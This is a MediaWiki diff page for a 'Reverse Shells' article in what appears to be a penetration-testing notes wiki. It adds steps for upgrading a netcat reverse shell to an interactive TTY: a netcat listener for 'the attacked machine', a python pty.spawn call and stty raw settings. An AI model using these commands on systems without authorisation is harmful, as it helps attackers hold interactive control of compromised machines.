Changes
Jump to navigation
Jump to search
← Older edit
Newer edit →
Reverse Shells
(edit)
Revision as of 07:49, 23 January 2020
56 bytes added
,
07:49, 23 January 2020
m
no edit summary
Line 3:
Line 3:
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
−
== Upgrading nc shell ==
+
==Upgrading nc shell==
<br /><syntaxhighlight lang="bash">
<br /><syntaxhighlight lang="bash">
$ stty -a # to get rows and columns from your machine
$ stty -a # to get rows and columns from your machine
$ nc -lvp 444 # connect from the attacked machine
$ nc -lvp 444 # connect from the attacked machine
+
$ python -c 'import pty; pty.spawn("/bin/bash")'
+
Ctrl + Z
$ stty raw -echo
$ stty raw -echo
$ fg 1
$ fg 1
Rafahsolis
Bureaucrats
,
Administrators
2,306
edits
Navigation menu
Personal tools
Not logged in
Talk
Contributions
Create account
Log in
Namespaces
Page
Discussion
Variants
Views
Read
Edit
View history
More
Search
Navigation
Main page
Recent changes
Random page
Help about MediaWiki
Tools
Special pages
Printable version